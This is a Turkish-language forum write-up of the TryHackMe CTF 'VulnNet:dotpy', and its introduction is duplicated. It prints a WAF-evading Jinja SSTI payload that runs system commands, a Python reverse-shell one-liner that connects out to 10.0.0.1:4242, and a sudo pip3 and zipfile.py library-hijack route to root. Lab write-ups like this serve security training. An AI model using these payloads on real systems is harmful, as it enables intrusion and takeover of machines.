Tryhackme | VulnNet:dotpy CTF WriteUp by w1sd0m
VulnNet:dotpy
Selam dostlar, bu gün sizlere Tryhackme'de yer alan "VulnNet:dotpy" adlı CTF'in çözümünü anlatacağım.
Makinenin çözümü biraz uzun ancak eğlenceli olduğundan okurken canınız sıkılmayacak.
Ayrıca güzel de bir açığı içerdiği için koymak istedim.
İyi okumalar.
Platform: Tryhackme.com
Title: VulnNet:dotpy
Difficulty: Medium
Created by: SkyWaves
Total point: 60
|
|
V
Öncelikle bir port taraması yapalım bakalım yolumuz ne olacak.
Sadece 8080 portunun açık olduğunu görüyoruz. Port üzerinde http servisi çalıştırılıyor.
CTF'in "web-exploit" temalı olduğunu buradan anlayabiliriz.
Devam ediyoruz...
Sitede karşımıza bir login sayfası çıktı. Bir kullanıcı oluşturalım bakalım neler olacak.
VulnNet:dotpy
Selam dostlar, bu gün sizlere Tryhackme'de yer alan "VulnNet:dotpy" adlı CTF'in çözümünü anlatacağım.
Makinenin çözümü biraz uzun ancak eğlenceli olduğundan okurken canınız sıkılmayacak.
Ayrıca güzel de bir açığı içerdiği için koymak istedim.
İyi okumalar.
Platform: Tryhackme.com
Title: VulnNet:dotpy
Difficulty: Medium
Created by: SkyWaves
Total point: 60
|
|
V
Öncelikle bir port taraması yapalım bakalım yolumuz ne olacak.
nmap -sC -sV -vv <IP>
Sadece 8080 portunun açık olduğunu görüyoruz. Port üzerinde http servisi çalıştırılıyor.
CTF'in "web-exploit" temalı olduğunu buradan anlayabiliriz.
Devam ediyoruz...
Sitede karşımıza bir login sayfası çıktı. Bir kullanıcı oluşturalım bakalım neler olacak.
Siteye kayıt olduk ve giriş yaptık.
Bizi aşağıdaki arayüze yönlendirdi.
Biraz kurcaladım burayı, gezdim, dolaştım ancak bir sonuç elde edemedim.
Bu kez "url" ile oynayayım dedim ve ilginç bir sonuç ile karşılaştım.
Url'e yazdıklarım template'e basılıyor. Bu aklıma "SSTI" zaafiyetini getirdi.
"SSTI" yani "Server Site Template Injection" açığı için biraz araştırma yaptım.
CTF'lerde çokça başvurulan bir kitap olan "HackTricks"in ssti makalesinde aradığımı buldum.
Python:
“{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}”
Bu açık sayesinde bir "Reverse_shell" göndererek bağlantı almayı planlıyorum.
Ancak "waf" için shell'i "encode" etmem gerekiyor.
Nasıl yapılıyor hadi birlikte bakalım...
Şimdi, bağlantımızı encode ettik. "HackTricks" adresinden de gerekli kodu almıştık.
Bunları birleştirme vakti geldi artık.
Çalışacağından %100 emin olmadığım için "Burpsuit" ile bunu bi test edelim.
Aracımızı açalım ve sayfayı yeniden yükleyerek bağlantıyı alalım.
Ardından bunu "Repeater" bölümüne gönderelim.
"Send" butonuna basıp göndermeden önce "Netcat" ile gelecek olan bağlantıyı alabilmek için gerekli portu dinlemeye başlayalım.
Bağlantımızı aldığımıza ve shell'i stabil hale getirdiğimize göre en sevdiğim bölüm olan "Privilege-Escalation (yetki-yükseltme)"e geçebiliriz.
Burada birçok işlem yapılabilir ancak ben hep şunu derim;"İlk önce en kolayı düşün".
Kullanıcımızın çalıştırmaya yetkisi olan dosyalar varmı ona bakalım.
"pip3 install" komutunu kullanabileceğimizi görüyoruz.
O halde bizde içeriye bize "system-adm"kullanıcısının shellini kazandıracak bir "Python_reverse_shell" dosyası çekerek bunu çalıştıralım.
Python:
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
Shell dosyamızı içeriye attık ve ters bağlantıyı yakaladık. İçerideki "user.txt" adlı dosyaya baktığımızda ilk flag'i almış olduk.
Ardından "root" olabilmek için tekrardan bu kullanıcının çalıştırabileceği dosyalar varmı ona baktık.
/usr/bin/python3 /opt/backup.py
komutunu görüyoruz."backup.py" dosyasının içeriğine baktığımızda ise;
Python:
from datetime import datetime
from pathlib import Path
import zipfile
OBJECT_TO_BACKUP = '/home/manage' # The file or directory to backup
BACKUP_DIRECTORY = '/var/backups' # The location to store the backups in
MAX_BACKUP_AMOUNT = 300 # The maximum amount of backups to have in BACKUP_DIRECTORY
object_to_backup_path = Path(OBJECT_TO_BACKUP)
backup_directory_path = Path(BACKUP_DIRECTORY)
assert object_to_backup_path.exists() # Validate the object we are about to backup exists before we continue
# Validate the backup directory exists and create if required
backup_directory_path.mkdir(parents=True, exist_ok=True)
# Get the amount of past backup zips in the backup directory already
existing_backups = [
x for x in backup_directory_path.iterdir()
if x.is_file() and x.suffix == '.zip' and x.name.startswith('backup-')
]
# Enforce max backups and delete oldest if there will be too many after the new backup
oldest_to_newest_backup_by_name = list(sorted(existing_backups, key=lambda f: f.name))
while len(oldest_to_newest_backup_by_name) >= MAX_BACKUP_AMOUNT: # >= because we will have another soon
backup_to_delete = oldest_to_newest_backup_by_name.pop(0)
backup_to_delete.unlink()
# Create zip file (for both file and folder options)
backup_file_name = f'backup-{datetime.now().strftime("%Y%m%d%H%M%S")}-{object_to_backup_path.name}.zip'
zip_file = zipfile.ZipFile(str(backup_directory_path / backup_file_name), mode='w')
if object_to_backup_path.is_file():
# If the object to write is a file, write the file
zip_file.write(
object_to_backup_path.absolute(),
arcname=object_to_backup_path.name,
compress_type=zipfile.ZIP_DEFLATED
)
elif object_to_backup_path.is_dir():
# If the object to write is a directory, write all the files
for file in object_to_backup_path.glob('**/*'):
if file.is_file():
zip_file.write(
file.absolute(),
arcname=str(file.relative_to(object_to_backup_path)),
compress_type=zipfile.ZIP_DEFLATED
)
# Close the created zip file
zip_file.close()
Kodu okuyup ne yaptığını anlamayı size bırakıyorum
Burada işimiz çok basit aslında.
İçerisinde bize bir "bash" veren ve adı da "zipfile.py" olan bir python dosyası olsa işimizi çözerdi değil mi?
O halde bu bahsini ettiğimiz dosyayı oluşturalım bakalım işe yarayacak mı.
Bu arada "Görsel sanatlar" okumayı düşünüyorum, bir kaç tavsiye alabilirim
Son olarak bahsettiğim dosyayı oluşturup işleme sokuyorum ve bash'i alıyorum.
"root.txt" adlı dosyaya bakıyoruz ve son flag'i de alıyoruz.
^
|
|
Yoğun olmama rağmen forumun "CTF" bölümünü boş bırakmamayı düşünerek haftada en_az_1-en_çok_2 makine çözümü paylaşacağım.
Bunlar "Easy-Medium, Medium-Hard ve Hard-Easy" şeklinde dönüşümlü olacak.
Hem CTF çözenler için hemde bu alana meraklı olanlar için "CTF Bölümü"nü takip etmeleri faydalı olacaktır.
Teşekkürler.